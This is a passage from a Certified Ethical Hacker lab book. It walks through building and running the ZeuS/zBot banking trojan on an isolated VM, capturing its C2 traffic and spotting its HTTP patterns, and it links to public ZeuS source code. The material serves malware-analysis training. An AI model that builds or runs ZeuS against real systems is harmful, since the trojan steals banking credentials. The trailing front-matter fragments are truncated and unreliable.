and also, in the Windows’ CLI, type:
netsh trace start capture=yes IPv4.Address=127.0.0.1
tracefile=C:\trace.etl”
Then run the bot.exe file that you’ve also

created in the previous lab (Zeus-
translation\output\builder or
\xampp\htdocs\zeus directories). Going back
to http://localhost/zeus/cp.php?m=stats_os,
you can see that a new bot pops up with our
Windows 7 OS information.
As soon as you get that, type:

netsh trace stop
and stop the capture on Network Monitor.

Then, in Message Analyzer, select File →
Open → From File Explorer and select the
trace.rtl file. Wait for the tool to open it fully.
Once that is complete, go to File → Save As
→ All Messages → Export as .cap to open in
other applications → Save the file.
Finally, for good measure, download and

install Wireshark onto your Windows VM
from this URL:
https://www.wireshark.org/download.html
and opt for the Windows Installer (64-bit).
Tips and notes:

You are free to do additional things with the
bot in order to generate more traffic, but that
may make the resulting capture too
overwhelming for analysis, at least now when
we’re just getting introduced to the topic.
Lab 100. ZeuS/zBot
Malware Analysis
Lab Objective:
Lab Purpose:
This is the penultimate Lab in the malware
analysis segment and in general. Here we’ll
take a look at what it is that ZeuS malware
does upon infecting a target and how to
identify it.
Lab Tool:
Wireshark.
Lab Topology:
Lab Walk-Through:
So, we’ve opened our 3 tools of choice,
namely Network Monitor, Message Analyzer
and Wireshark, each with their respective
capture files; Network Monitor made its own
capture, Message Analyzer uses the .etl file
we’ve generated through Windows’ cmd.exe,
and Wireshark uses the .cap file that we’ve
exported from Message Analyzer.
Just in case things didn’t work as planned and

you end up with no HTTP requests, which are
necessary for the next steps in our analysis,
you can download a sample from this URL:
https://s3.amazonaws.com/talos-
intelligence-
site/production/document_files/files/000/000/079/origin
sample-2.pcap.
Now, we want to look for HTTP GET

requests which facilitate responses containing
the Content-Type of header value of
application/octet-stream. I’ll be focusing on
Wireshark, but you can use any of the other 2
tools to your preference.
So, type http into the filter field to show only

this type of traffic, then right-click on the first
request and go to Follow → HTTP Stream.
You will notice that this GET request is

directed towards a seemingly nonsensical
resource, such as the ribbn.tar in the sample
file.
The name of the resource towards which the
GET request is directed will vary (which is
one of the reasons why it’s difficult to catch
this malware), but what’s important is that the
request is made literally moments after the
bot.exe file is activated and is requesting a
resource that we never actually requested, in
other words, we never consciously went to it
using our web browsers. We also notice that
the server responded with the Content-Type:
application/octet-stream header value,
followed by encrypted data.
Going back to our HTTP filter, we see that
our target machine (IP address in the sample
file 192.168.3.25) then makes a pair of POST
requests to index1.php. What’s odd about this
is that the requests go one after another, with
no response from the server.
We can analyze both of these POST requests

along with their respective responses and
notice that the headers are different compared
to the initial GET request. The most
interesting header value being the Content-
Type one, this time carrying the value of
text/html. If we look at the contents of the
responses themselves, we see that they are
anything but text/html, which should strike us
as odd, if nothing else.
Following that, our infected sample machine

makes a GET request to a load.exe file. This
file is likely our bot.exe file, meaning the
actual malware.
Analyzing this HTTP stream, we see that the
file seemingly pretends to be somehow
related to Microsoft Windows update.
Once the binary was downloaded, our
machine makes another POST request to
index1.php, probably to inform the Command
& Control (C2) server that the operation was
completed successfully.
All of the resources are named differently

(ribbn.tar, index1.php, load.exe) in order to
make detection more difficult.
Oftentimes infected machines will have a

spike in traffic, making them at least
somewhat easy to identify or warrant an
inspection by an administrator. In case an
infected machine cannot connect back to a C2
server, it will likely repeat a lot of requests
over and over, some of them being directed to
DNS servers in an attempt to resolve the C2
server.
If you attempt to backtrack any of these

streams by going to the server IP address and
manually requesting the files specified in our
.pcap sample, you will find that they are now
missing from the internet, as ZeuS/zBot C2
servers are constantly being shut down.
Tips and notes:

There are many other things you can do to
check whether a machine has been infected
by malware, such as observing suspicious
files in a hex editor or utilizing a tool such as
Process Hacker
(https://processhacker.sourceforge.io/downloads.php
Lab 101. ZeuS/zBot
Malware Analysis
Wrap-Up
Lab Objective:
A final look back at malware analysis using
Lab Purpose:
For the final Lab in these CEH 101 Labs,
we’ll work on consolidating our malware
analysis knowledge and look at the various
types of tools and resources that can help us
in this endeavor.
Lab Tool:
Windows 7.
Lab Topology:
Lab Walk-Through:
So, the first thing we did is we found the
source code for the malware we want to
analyze, such as the one found on this GitHub
page: https://github.com/Visgean/Zeus. We
then set up our analysis environment by
downloading all of the relevant tools, namely:
• XAMPP 5.6.40 from

https://sourceforge.net/projects/xampp/files/XAMPP%
• Message Analyzer from
https://github.com/riverar/messageanalyzer-
archive/blob/master/releases/1.4/MessageAnalyzer64.
or
https://web.archive.org/web/20191106164517/http://w
• Network Monitor from
https://web.archive.org/web/20191106164517/http://w
• Wireshark from
https://www.wireshark.org/download.html
Once all the tools have been downloaded, we

prep our VM by changing the network
settings so that the machine cannot interact
with any other of our machines nor with our
host OS. We install and otherwise set up the
tools, then go through the process of setting
up the ZeuS botnet C2 server, like in Lab 98.
Before we activate the bot, we start out

packet capturing tools and then activate the
bot.exe. As soon as a new OS pops up, we
stop the packet capture in order to minimize
the volume of traffic we have to sift through.
Our goal is to identify what happened
immediately upon activating bot.exe and until
the new OS appears in the botnet server’s list.
We’re looking for HTTP requests and
responses, more specifically, a GET request
which facilitates a response containing the
Content-Type: application/octet-stream and
HTTP POST requests that facilitate responses
containing Content-Type: text/html. These
requests should call for resources that we are
not familiar with, i.e., things we did not
consciously look for using a web browser and
which have random, seemingly unrelated
names. The thing that should strike us as the
oddest is the fact that the server replies of
text/html Content-Type do not have
plaintext/html content.
We can further analyze the events by using

other tools such as Process Hacker and HxD,
but that we left to you as exercise.
Note that if you’ve already ran bot.exe file

once your packet capturing might not be as
intended. We would either have to rebuild the
Windows VM each time we want to do this
lab, or rely on a sample file, like the one
provided in Lab 100.
Tips and notes:

If you’re interested in the topic of malware
analysis, you can get additional practice by
looking at these resources pertaining to the
ZeuS/zBot malware:
https://www.secureworks.com/research/zeus.
https://www.malwarebytes.com/resources/files/2020/05/
silent-night-zloader-zbot_final.pdf.
Remember that there is no shame in not

knowing something. As a matter of fact, no
matter how many years of experience you
have, there will always be something new to
learn, and you should keep your mind open.

Ceh

Uploaded by

Document Information

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Ceh

Uploaded by

Copyright:

Available Formats

The material entailed in this guide is not

sponsored by, endorsed by, or affiliated with

101 Labs is a registered trademark.

The practical scenarios in this book are meant

Paul Browning worked as a police officer in

He started an IT consulting company in 2002

In 2006, Paul started the online IT training

In 2013, Paul moved to Brisbane with his

Nikola Mladenovic has over ten years of

He holds the Offensive Security Certified

He has extensive hands-on experience in

Welcome to your 101 Labs book.

When I began teaching IT courses back in

Fast forward another 17 years, and little has

101 Labs is NOT a theory book; it’s here to

We choose the most relevant parts of the

We strongly recommend you study for the

101 Labs – Certified Ethical

The goal of this book is to dramatically

If you want to become CEH certified, there’s

If you want to become a CEH Master, then

We’ve done our best to hit every topic

It’s also worth noting that once we show you

We’ve done our best to keep the topology as

Please do check out our resource page, which

Doing the Labs

If you get stuck or things aren’t working, we

Best of luck with your studies,

—Paul Browning, CCNP, MCSE, A+, Net+

101 Labs - CEH Video Course

Also from Reality Press Ltd.

Accept, retry or ignore any errors that might

Next, for the purposes of this entire course,

Download IE8 on Win7 (x86) for your VM

You will need quite a bit of free space on

We will be using these VMs to discover

You will learn that in security, it’s necessary

Tips and notes:

Let’s start with “inurl.” This query will

The next interesting query is “filetype.” This

Some other queries I’ve used are “site” and

Notice that there is no “googlehacking” word

Tips and notes:

You can see below how verbose Netcraft is:

There are, of course, tools you can run locally

Tips and notes:

The most interesting for research can be

Now, because I don’t want to make anyone a

For instance, on Twitter, you can identify a

There are tools designed specifically to gather

You will have to supply your own Instagram

Once you have the tool set up (read the

When running any tool for the first time, it’s

This gives us a list of commands to run, and

Note that you cannot gather intel from private

Tips and notes:

If we type 8.8.8.8 (which is Google’s DNS

In addition to using it like this (with a

You can see geolocation, IP addresses, server

Tips and notes:

It is assumed you are running the OS as the

With that out of the way, we can proceed to

Start Burp via the command line. It’s a good

To start it, simply type: